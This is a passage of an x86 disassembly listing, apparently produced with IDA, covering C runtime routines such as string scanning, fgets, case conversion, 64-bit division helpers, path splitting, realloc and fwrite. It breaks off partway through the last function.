loc_418E90: ; CODE XREF: sub_418DE0+8Bj
; sub_418DE0+A1j
mov [edi], cl
loc_418E92: ; CODE XREF: sub_418DE0+ABj
pop ebx
pop esi
loc_418E94: ; CODE XREF: sub_418DE0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418E9A: ; CODE XREF: sub_418DE0+85j
; sub_418DE0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EA4: ; CODE XREF: sub_418DE0+E4j
; sub_418DE0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418E7C
loc_418EAC: ; CODE XREF: sub_418DE0+7Cj
; sub_418DE0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418EA4
test dl, dl
jz short loc_418E9A
test dh, dh
jz short loc_418EF8
test edx, 0FF0000h
jz short loc_418EE8
test edx, 0FF000000h
jnz short loc_418EA4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EE8: ; CODE XREF: sub_418DE0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EF8: ; CODE XREF: sub_418DE0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F10 proc near ; CODE XREF: sub_407252+2A2p
; sub_40EE72+31DDp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418F31
xor eax, eax
jmp short loc_418F33
; ---------------------------------------------------------------------------
loc_418F31: ; CODE XREF: sub_418F10+1Bj
mov eax, edi
loc_418F33: ; CODE XREF: sub_418F10+1Fj
cld
pop edi
leave
retn
sub_418F10 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_418F50
loc_418F40: ; CODE XREF: sub_418F50+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_418F50
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_408C26+DBp
; sub_40DAF0+32p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_418F56: ; CODE XREF: sub_417880+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_418F7B
loc_418F68: ; CODE XREF: sub_418F50+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_418F40
test cl, cl
jz short loc_418FC4
test edx, 3
jnz short loc_418F68
loc_418F7B: ; CODE XREF: sub_418F50+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_418F86: ; CODE XREF: sub_418F50+61j
; sub_418F50+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_418FC8
and eax, 81010100h
jz short loc_418F86
and eax, 1010100h
jnz short loc_418FC2
and esi, 80000000h
jnz short loc_418F86
loc_418FC2: ; CODE XREF: sub_418F50+68j
; sub_418F50+81j ...
pop esi
pop edi
loc_418FC4: ; CODE XREF: sub_418F50+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418FC8: ; CODE XREF: sub_418F50+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_419005
test al, al
jz short loc_418FC2
cmp ah, bl
jz short loc_418FFE
test ah, ah
jz short loc_418FC2
shr eax, 10h
cmp al, bl
jz short loc_418FF7
test al, al
jz short loc_418FC2
cmp ah, bl
jz short loc_418FF0
test ah, ah
jz short loc_418FC2
jmp short loc_418F86
; ---------------------------------------------------------------------------
loc_418FF0: ; CODE XREF: sub_418F50+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418FF7: ; CODE XREF: sub_418F50+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418FFE: ; CODE XREF: sub_418F50+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419005: ; CODE XREF: sub_418F50+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_418F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41900C proc near ; CODE XREF: sub_408C26+AFp
; sub_40EE72+47F4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_419020
xor eax, eax
jmp short loc_419056
; ---------------------------------------------------------------------------
loc_419020: ; CODE XREF: sub_41900C+Ej
dec [ebp+arg_4]
push esi
jz short loc_419050
mov esi, [ebp+arg_8]
loc_419029: ; CODE XREF: sub_41900C+42j
dec dword ptr [esi+4]
js short loc_419038
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41903F
; ---------------------------------------------------------------------------
loc_419038: ; CODE XREF: sub_41900C+20j
push esi
call sub_41E248
pop ecx
loc_41903F: ; CODE XREF: sub_41900C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41905A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_419050
dec [ebp+arg_4]
jnz short loc_419029
loc_419050: ; CODE XREF: sub_41900C+18j
; sub_41900C+3Dj ...
and byte ptr [edi], 0
loc_419053: ; CODE XREF: sub_41900C+55j
mov eax, ebx
pop esi
loc_419056: ; CODE XREF: sub_41900C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41905A: ; CODE XREF: sub_41900C+36j
cmp edi, [ebp+arg_0]
jnz short loc_419050
xor ebx, ebx
jmp short loc_419053
sub_41900C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419063 proc near ; CODE XREF: sub_409209+BFp
; sub_409209+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_48A0A8
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_419097
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_4190FE
loc_41907F: ; CODE XREF: sub_419063+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_419090
cmp cl, 7Ah
jg short loc_419090
sub cl, 20h
mov [edx], cl
loc_419090: ; CODE XREF: sub_419063+21j
; sub_419063+26j
inc edx
cmp [edx], bl
jnz short loc_41907F
jmp short loc_4190FE
; ---------------------------------------------------------------------------
loc_419097: ; CODE XREF: sub_419063+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_41E709
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_4190F0
push edi
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_4190F0
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_48A0A8
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_4190F0
push [ebp+var_4]
push [ebp+arg_0]
call sub_4179C0
pop ecx
pop ecx
loc_4190F0: ; CODE XREF: sub_419063+53j
; sub_419063+61j ...
push [ebp+var_4]
call sub_417C3B
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_4190FE: ; CODE XREF: sub_419063+1Aj
; sub_419063+32j
pop ebx
leave
retn
sub_419063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419101 proc near ; CODE XREF: sub_40A951+6p
; sub_40A96F+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_48A0A8, 0
push ebx
push esi
push edi
jnz short loc_41912E
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4191C7
cmp eax, 5Ah
jg loc_4191C7
add eax, 20h
jmp loc_4191C7
; ---------------------------------------------------------------------------
loc_41912E: ; CODE XREF: sub_419101+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_419162
cmp dword_4397AC, esi
jle short loc_419150
push esi
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41915A
; ---------------------------------------------------------------------------
loc_419150: ; CODE XREF: sub_419101+42j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, esi
loc_41915A: ; CODE XREF: sub_419101+4Dj
test eax, eax
jnz short loc_419162
loc_41915E: ; CODE XREF: sub_419101+ADj
mov eax, ebx
jmp short loc_4191C7
; ---------------------------------------------------------------------------
loc_419162: ; CODE XREF: sub_419101+3Aj
; sub_419101+5Bj
mov edx, off_4395A0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_419186
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41918F
; ---------------------------------------------------------------------------
loc_419186: ; CODE XREF: sub_419101+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41918F: ; CODE XREF: sub_419101+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_48A0A8
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_41915E
cmp eax, esi
jnz short loc_4191BA
movzx eax, [ebp+var_4]
jmp short loc_4191C7
; ---------------------------------------------------------------------------
loc_4191BA: ; CODE XREF: sub_419101+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4191C7: ; CODE XREF: sub_419101+16j
; sub_419101+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_419101 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp
; sub_40D01A+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_4191F1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_419241
; ---------------------------------------------------------------------------
loc_4191F1: ; CODE XREF: sub_4191D0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_4191FF: ; CODE XREF: sub_4191D0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4191FF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41922A
cmp edx, [esp+4+arg_4]
ja short loc_41922A
jb short loc_419232
cmp eax, [esp+4+arg_0]
jbe short loc_419232
loc_41922A: ; CODE XREF: sub_4191D0+4Aj
; sub_4191D0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_419232: ; CODE XREF: sub_4191D0+52j
; sub_4191D0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_419241: ; CODE XREF: sub_4191D0+1Fj
pop ebx
retn 10h
sub_4191D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419250 proc near ; CODE XREF: sub_40B822+24p
; sub_40D01A+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_419272
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4192B3
; ---------------------------------------------------------------------------
loc_419272: ; CODE XREF: sub_419250+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_419280: ; CODE XREF: sub_419250+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_419280
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4192AE
cmp edx, [esp+8+arg_4]
ja short loc_4192AE
jb short loc_4192AF
cmp eax, [esp+8+arg_0]
jbe short loc_4192AF
loc_4192AE: ; CODE XREF: sub_419250+4Ej
; sub_419250+54j
dec esi
loc_4192AF: ; CODE XREF: sub_419250+56j
; sub_419250+5Cj
xor edx, edx
mov eax, esi
loc_4192B3: ; CODE XREF: sub_419250+20j
pop esi
pop ebx
retn 10h
sub_419250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p
; ___:0040E7A0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_417AB0
cmp eax, 1
pop ecx
jb short loc_4192F3
cmp byte ptr [ebx+1], 3Ah
jnz short loc_4192F3
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_4192EF
push 2
push ebx
push esi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+2], 0
loc_4192EF: ; CODE XREF: sub_4192B8+25j
inc ebx
inc ebx
jmp short loc_4192FD
; ---------------------------------------------------------------------------
loc_4192F3: ; CODE XREF: sub_4192B8+18j
; sub_4192B8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_4192FD
and byte ptr [eax], 0
loc_4192FD: ; CODE XREF: sub_4192B8+39j
; sub_4192B8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_419375
loc_419310: ; CODE XREF: sub_4192B8+87j
mov cl, [eax]
movzx edx, cl
test byte_48B561[edx], 4
jz short loc_419321
inc eax
jmp short loc_41933B
; ---------------------------------------------------------------------------
loc_419321: ; CODE XREF: sub_4192B8+64j
cmp cl, 2Fh
jz short loc_419335
cmp cl, 5Ch
jz short loc_419335
cmp cl, 2Eh
jnz short loc_41933B
mov [ebp+var_4], eax
jmp short loc_41933B
; ---------------------------------------------------------------------------
loc_419335: ; CODE XREF: sub_4192B8+6Cj
; sub_4192B8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41933B: ; CODE XREF: sub_4192B8+67j
; sub_4192B8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_419310
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_419375
cmp [ebp+arg_8], 0
jz short loc_419370
sub edi, ebx
cmp edi, esi
jb short loc_419359
mov edi, esi
loc_419359: ; CODE XREF: sub_4192B8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41ED0D
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_419370: ; CODE XREF: sub_4192B8+97j
mov ebx, [ebp+arg_4]
jmp short loc_41937F
; ---------------------------------------------------------------------------
loc_419375: ; CODE XREF: sub_4192B8+56j
; sub_4192B8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41937F
and byte ptr [ecx], 0
loc_41937F: ; CODE XREF: sub_4192B8+BBj
; sub_4192B8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_4193D2
cmp edi, ebx
jb short loc_4193D2
cmp [ebp+arg_C], 0
jz short loc_4193AF
sub edi, ebx
cmp edi, esi
jb short loc_419398
mov edi, esi
loc_419398: ; CODE XREF: sub_4192B8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41ED0D
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4193AF: ; CODE XREF: sub_4192B8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_4193FA
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4193BF
mov esi, eax
loc_4193BF: ; CODE XREF: sub_4192B8+103j
push esi
push [ebp+var_4]
push edi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_4193D2: ; CODE XREF: sub_4192B8+CCj
; sub_4192B8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_4193F0
sub eax, ebx
cmp eax, esi
jnb short loc_4193E1
mov esi, eax
loc_4193E1: ; CODE XREF: sub_4192B8+125j
push esi
push ebx
push edi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_4193F0: ; CODE XREF: sub_4192B8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_4193FA
and byte ptr [eax], 0
loc_4193FA: ; CODE XREF: sub_4192B8+FCj
; sub_4192B8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4192B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p
; sub_40D633+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41943D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41944A
; ---------------------------------------------------------------------------
loc_41943D: ; CODE XREF: sub_4193FF+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
pop ecx
loc_41944A: ; CODE XREF: sub_4193FF+3Cj
mov eax, esi
pop esi
leave
retn
sub_4193FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41944F proc near ; CODE XREF: sub_40C259+2Ep
; sub_418603+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41946A
push [ebp+arg_4]
call sub_417B89
pop ecx
jmp loc_4196EA
; ---------------------------------------------------------------------------
loc_41946A: ; CODE XREF: sub_41944F+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41947F
push [ebp+arg_0]
call sub_417C3B
pop ecx
jmp loc_4196E8
; ---------------------------------------------------------------------------
loc_41947F: ; CODE XREF: sub_41944F+20j
mov eax, dword_48B688
cmp eax, 3
jnz loc_41958F
loc_41948D: ; CODE XREF: sub_41944F+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41956B
push [ebp+arg_0]
call sub_41AD89
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_419546
cmp esi, dword_48B680
ja short loc_4194FF
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B592
add esp, 0Ch
test eax, eax
jnz short loc_4194FB
push esi
call sub_41B0DD
mov edi, eax
pop ecx
test edi, edi
jz short loc_4194FF
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4194DF
mov eax, esi
loc_4194DF: ; CODE XREF: sub_41944F+8Cj
push eax
push ebx
push edi
call sub_417390
push ebx
call sub_41AD89
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41ADB4
add esp, 18h
loc_4194FB: ; CODE XREF: sub_41944F+74j
test edi, edi
jnz short loc_419542
loc_4194FF: ; CODE XREF: sub_41944F+62j
; sub_41944F+81j
test esi, esi
jnz short loc_419506
push 1
pop esi
loc_419506: ; CODE XREF: sub_41944F+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_48B684
nop
call near ptr 26F0000h
mov edi, eax
test edi, edi
jz short loc_419542
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41952E
mov eax, esi
loc_41952E: ; CODE XREF: sub_41944F+DBj
push eax
push ecx
push edi
call sub_417390
push [ebp+arg_0]
push ebx
call sub_41ADB4
add esp, 14h
loc_419542: ; CODE XREF: sub_41944F+AEj
; sub_41944F+D0j
test ebx, ebx
jnz short loc_419567
loc_419546: ; CODE XREF: sub_41944F+56j
test esi, esi
jnz short loc_41954D
push 1
pop esi
loc_41954D: ; CODE XREF: sub_41944F+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_48B684
call near ptr 2800000h
nop
mov edi, eax
loc_419567: ; CODE XREF: sub_41944F+F5j
test edi, edi
jnz short loc_419588
loc_41956B: ; CODE XREF: sub_41944F+43j
cmp dword_48A074, 0
jz short loc_419588
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz loc_41948D
jmp loc_4196E8
; ---------------------------------------------------------------------------
loc_419588: ; CODE XREF: sub_41944F+11Aj
; sub_41944F+123j ...
mov eax, edi
jmp loc_4196EA
; ---------------------------------------------------------------------------
loc_41958F: ; CODE XREF: sub_41944F+38j
cmp eax, 2
jnz loc_4196AA
cmp esi, 0FFFFFFE0h
ja short loc_4195AC
test esi, esi
jbe short loc_4195A9
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4195AC
; ---------------------------------------------------------------------------
loc_4195A9: ; CODE XREF: sub_41944F+150j
push 10h
pop esi
loc_4195AC: ; CODE XREF: sub_41944F+14Cj
; sub_41944F+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41968C
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41BAE4
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_419670
cmp esi, dword_43B7E4
jnb short loc_419634
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BEAC
add esp, 10h
test eax, eax
jz short loc_4195FA
mov edi, [ebp+arg_0]
jmp short loc_41962C
; ---------------------------------------------------------------------------
loc_4195FA: ; CODE XREF: sub_41944F+1A4j
push edi
call sub_41BB80
mov edi, eax
pop ecx
test edi, edi
jz short loc_419634
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419613
mov eax, esi
loc_419613: ; CODE XREF: sub_41944F+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_417390
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BB3B
add esp, 18h
loc_41962C: ; CODE XREF: sub_41944F+1A9j
test edi, edi
jnz loc_419588
loc_419634: ; CODE XREF: sub_41944F+18Bj
; sub_41944F+1B6j
push esi
push 0
push dword_48B684
nop
call near ptr 26F0000h
mov edi, eax
test edi, edi
jz short loc_41968C
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419655
mov eax, esi
loc_419655: ; CODE XREF: sub_41944F+202j
push eax
push [ebp+arg_0]
push edi
call sub_417390
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BB3B
add esp, 18h
jmp short loc_419684
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_41944F+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_48B684
nop
call near ptr 2800000h
mov edi, eax
loc_419684: ; CODE XREF: sub_41944F+21Fj
test edi, edi
jnz loc_419588
loc_41968C: ; CODE XREF: sub_41944F+162j
; sub_41944F+1F8j
cmp dword_48A074, 0
jz loc_419588
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz loc_4195AC
jmp short loc_4196E8
; ---------------------------------------------------------------------------
loc_4196AA: ; CODE XREF: sub_41944F+143j
; sub_41944F+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_4196D4
test esi, esi
jnz short loc_4196B8
push 1
pop esi
loc_4196B8: ; CODE XREF: sub_41944F+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_48B684
nop
call near ptr 2800000h
test eax, eax
jnz short loc_4196EA
loc_4196D4: ; CODE XREF: sub_41944F+260j
cmp dword_48A074, 0
jz short loc_4196EA
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz short loc_4196AA
loc_4196E8: ; CODE XREF: sub_41944F+2Bj
; sub_41944F+134j ...
xor eax, eax
loc_4196EA: ; CODE XREF: sub_41944F+16j
; sub_41944F+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41944F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_419713
xor eax, eax
jmp loc_4197E0
; ---------------------------------------------------------------------------
loc_419713: ; CODE XREF: sub_4196EF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_419726
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41972D
; ---------------------------------------------------------------------------
loc_419726: ; CODE XREF: sub_4196EF+2Dj
mov [ebp+arg_C], 1000h
loc_41972D: ; CODE XREF: sub_4196EF+35j
; sub_4196EF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_419761
mov eax, [esi+4]
test eax, eax
jz short loc_419761
cmp ebx, eax
mov edi, ebx
jb short loc_419747
mov edi, eax
loc_419747: ; CODE XREF: sub_4196EF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_417390
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4197A7
; ---------------------------------------------------------------------------
loc_419761: ; CODE XREF: sub_4196EF+47j
; sub_4196EF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4197AC
test ecx, ecx
jz short loc_419775
push esi
call sub_41A7D0
test eax, eax
pop ecx
jnz short loc_4197EE
loc_419775: ; CODE XREF: sub_4196EF+79j
cmp [ebp+arg_C], 0
jz short loc_419788
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41978A
; ---------------------------------------------------------------------------
loc_419788: ; CODE XREF: sub_4196EF+8Aj
mov edi, ebx
loc_41978A: ; CODE XREF: sub_4196EF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41ED97
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4197E5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4197E5
loc_4197A7: ; CODE XREF: sub_4196EF+70j
mov edi, [ebp+var_4]
jmp short loc_4197D5
; ---------------------------------------------------------------------------
loc_4197AC: ; CODE XREF: sub_4196EF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_419D23
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4197EE
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4197D5
mov [ebp+arg_C], 1
loc_4197D5: ; CODE XREF: sub_4196EF+BBj
; sub_4196EF+DDj
test ebx, ebx
jnz loc_41972D
mov eax, [ebp+arg_8]
loc_4197E0: ; CODE XREF: sub_4196EF+1Fj
; sub_4196EF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4197E5: ; CODE XREF: sub_4196EF+ADj
; sub_4196EF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_4197F0
